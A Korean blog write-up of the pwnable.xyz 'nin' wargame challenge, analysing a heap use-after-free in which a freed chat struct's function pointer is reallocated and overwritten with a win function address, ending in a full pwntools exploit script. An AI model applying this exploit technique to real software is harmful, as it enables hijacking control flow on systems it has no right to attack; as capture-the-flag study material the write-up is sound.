블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] nin
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] nin

728x90

 

1. 문제


1) mitigation 확인 

PIE가 안걸려있다. 

 

 

2) 문제 확인 

먼가 화려하다. 

 

 

3) 코드 확인 

  • do_chat() 함수
    void __noreturn do_chat()
    {
      chat *chat; // [rsp+0h] [rbp-120h]
      char *ptr; // [rsp+8h] [rbp-118h]
      char s; // [rsp+10h] [rbp-110h]
      unsigned __int64 v3; // [rsp+118h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      chat = 0LL;
      while ( 1 )
      {
        memset(&s, 0, 0xFFuLL);
        printf("@you> ");
        read(0, &s, 0xFFuLL);
        ptr = strdup(&s);
        if ( !chat )
          chat = invite_reznor();
        ((void (__fastcall *)(chat *, char *))chat->answer)(chat, &s);
        free(ptr);
      }
    }

    메인은 별게 없고, do_chat() 함수부터 시작된다. chat는 구조체로 보기 쉽게 선언해줬다. 처음에 chat 변수에 0을 집어넣고 반복문을 돈다. s 변수에 read함수로 입력을 받고, strdup 함수로 힙 영역에 복사를 한다. 

     

    그다음 chat 변수에 값이 없으면 invite_reznor() 함수를 호출하여 반환값을 chat에 넣는다. 그다음 chat→answer 함수를 호출한다. 인자는 chat과 s 변수이다. 그런다음 strdup() 으로 할당받았던 청크를 free하고 다시 반복하게 된다. 이번엔 invite_reznor() 함수를 살펴보자 

     

 

  • invite_reznor() 함수
    chat *invite_reznor()
    {
      chat *v1; // [rsp+8h] [rbp-8h]
    
      v1 = (chat *)malloc(0x20uLL);
      v1->do_chat = strdup("@trent");
      v1->answer = (void (__fastcall **)(chat *, char *))answer_me;
      puts("@trent has entered #ota_chat");
      return v1;
    }

    0x20사이즈 만큼 malloc을 하고 strdup() 함수로 "@trent" 문자열을 방금 할당 받은 힙영역의 do_chat 영역에 복사를 한다. 그다음 answer_me 함수포인터를 v1→answer 에 저장을 한다. 이 과정이 끝났을 때의 힙 영역을 살펴보면 다음과 같다 

     

    0x13d4020 주소가 v1 변수에 들어간다. 그리고 strdup() 함수로 복사한 문자열의 주소가 새로운 청크에 복사가 된다(0x13d4050). 그리고 그 청크의 mem 주소가 v1→do_chat 영역인 0x13d3030에 들어간다. 그리고 마지막으로 answer_me 함수포인터가 v1→answer 즉, 0x13d3038 에 들어가게 된다. answer_me 함수를 살펴보자 

     

     

  • answer_me() 함수
    unsigned __int64 __fastcall answer_me(void **a1, const char *a2)
    {
      size_t size; // [rsp+1Ch] [rbp-24h]
      __int64 v4; // [rsp+28h] [rbp-18h]
      char *v5; // [rsp+30h] [rbp-10h]
      unsigned __int64 v6; // [rsp+38h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      if ( !strcmp(a2, "/gift\n")
        && (LODWORD(size) = 0,
            puts("Oh you wanna bribe him?"),
            printf("Ok, how expensive will your gift be: "),
            __isoc99_scanf("%ud", &size),
            (_DWORD)size) )
      {
        *(size_t *)((char *)&size + 4) = (size_t)malloc((unsigned int)(size + 1));
        memset(*(void **)((char *)&size + 4), 0, (unsigned int)(size + 1));
        printf("Enter your gift: ");
        read(0, *(void **)((char *)&size + 4), (unsigned int)size);
        v4 = hash_gift(*(size_t *)((char *)&size + 4), size);
        printf("Trent doesn't look impressed and swallows %p\n", v4);
        if ( v4 == 0xDEADBEEFLL )
        {
          puts("The color of his head turns blue...");
          puts("Trent Reznor flips the table and raqequits...");
          puts("@trent has left #ota_chat (Client disconnected...)");
          free(*a1);
          free(a1);
        }
        else
        {
          printf("Didn't seem to be tasty...\n", v4);
        }
      }
      else
      {
        v5 = (&answers)[rand() % 10];
        printf("@trent> %s\n", v5);
      }
      return __readfsqword(0x28u) ^ v6;
    }

    처음에 do_chat() 함수에서 입력한 값이 a2이다. 해당 값이 '/gift' 와 같다면 사이즈를 입력받는다. 그다음 해당 사이즈+1 만큼 크기의 malloc을 하고, 이를 size변수+4 위치에 저장한다. 그리고 이 영역에 read 함수로 입력을 받은뒤 hash_gift 함수를 호출한다. 

     

    hash_gift함수가 반환하는 값이 v4에 저장되고 이 값이 0xdeadbeef와 동일하다면 free가 진행된다. free는 총 2번 진행되는데, 아까 strdup으로 할당받았던 '@trent' 가 담긴 청크와 해당 청크의 주소를 가지고 있었던 v1 청크를 free 시킨다. 

     

    사진으로 봐보자. 1번을 먼저 free 한다. 그리고 2번을 free 하게 된다. 현 상황은 1번만 free되고 2번은 아직 free되지 않은 상황이다. 이렇게 한번의 루틴이 끝나게 된다. 그런다음 다시 do_chat에서 반복문을 돌면서 chat변수를 확인한다. 처음에 값이 들어갔으므로 0이 아닌 값이 들어가 있을 것이다. 따라서 invite_reznor() 함수는 호출되지 않고 answer 함수만 호출된다. 

     

     

 

 

2. 접근방법


 

hash_gift() 함수 반환값을 0xdeadbeef로 맞춰줬다는 가정하에, 한번의 루틴을 다돌게 되면 현재 fastbin의 상황은 다음과 같다. strdup으로 선언해줬던 '@trent' , do_chat에서 입력한 s를 복사한 strdup이 free되었고, 이게 0x20 사이즈 bin에 들어가있다. 

 

그리고 answer_me에서 free 시켰던, a1의 청크 즉, v1에 담겨져있던 청크가 0x30 bin 사이즈에 들어가 있다. 현재 0x30 사이즈 bin에 들어있는 청크의 +8 위치에 anser_me 함수포인터 주소가 들어가 있다. 하지만 free가 되어도 초기화가 안이뤄지기 때문에, UAF가 가능하다. 

 

do_chat() 함수가 다시 반복을 돌게 되면, s에 입력한 문자열을 strdup으로 복사하여 0x20 사이즈 청크를 재할당받게 된다. 따라서 0x13d4000 청크를 재할당 받게 된다. 그런다음 chat에는 현재 값이 들어있으므로, invite_reznor() 함수가 호출되지 않고 answer_me 함수가 호출된다.  

 

우리가 목표로 하는것은 answer_me 함수포인터가 담겨있는 부분은 win주소로 변경하는 것이다. 현재 chat 변수에는 우리가 아까 첫번째 반복문에서 free 시켰던 청크 주소가 그대로 들어가 있기 때문에, 3번째 반복에서 answer_me 함수를 호출할때 동일한 위치를 참조하여 호출할 것이다. 

 

따라서 위 fastbin에 들어있는 청크주소를 재할당받고, 해당 청크 +8 영역에 win함수주소를 넣으면 3번째 반복에서도 chat에는 여전히 동일한 청크주소, 즉 우리가 두번째 반복에서 재할당 받았던 청크를 사용하게 되므로 win함수를 answer_me 함수포인터 위치에 덮어 쓸수가 있다. 

 

 

 

3. 풀이


 

2번쨰 반복에서 0x20 사이즈 를 입력하면 0x30 사이즈 청크가 할당될것이고, 이는 아까 말한 chat 가 가리키는 청크를 재할당 받는다. 그 후에 gift 입력시 더미+8, win 주소 이렇게 입력하면 위 사진처럼 변경이 된다. 이제 3번째 반복에서 함수포인터 호출시 win함수가 호출될 것이다. 

 

최종 익스코드는 다음과 같다 

GNU nano 2.5.3                      File: ex.py                                                    

from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30034)
p=process("./challenge")
gdb.attach(p,'code\nb *0xf52+$code\n')

p.sendlineafter("you> ","/gift")
low=p8(0xff)*0xdf+"\x8c"
log.info(hex(len(low)))
high=p8(0xff)*0xbd+"\xab"*4+"\x00"*0x1f
log.info(hex(len(high)))
payload=low+high
p.sendlineafter("gift be: ",str(len(payload)))
p.sendafter("gift: ",payload)

p.sendlineafter("you> ","/gift")
p.sendlineafter("gift be: ","32")
p.sendafter("gift: ","A"*8+p64(0x400CAE))
p.interactive()

 

 

 

 

4. 몰랐던 개념


몰랐던 개념은 없었지만, 코드가 복잡해서인지 분석이 너무 안됬다. 분석능력이 아직도 한참 부족한것 같다.  

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] words  (0) 2020.05.18
[pwnable.xyz] notebook  (0) 2020.05.17
[pwnable.xyz] Dirty Turtle  (0) 2020.05.14
[pwnable.xyz] Hero Factory  (0) 2020.05.13
[pwnable.xyz] note v2  (0) 2020.05.13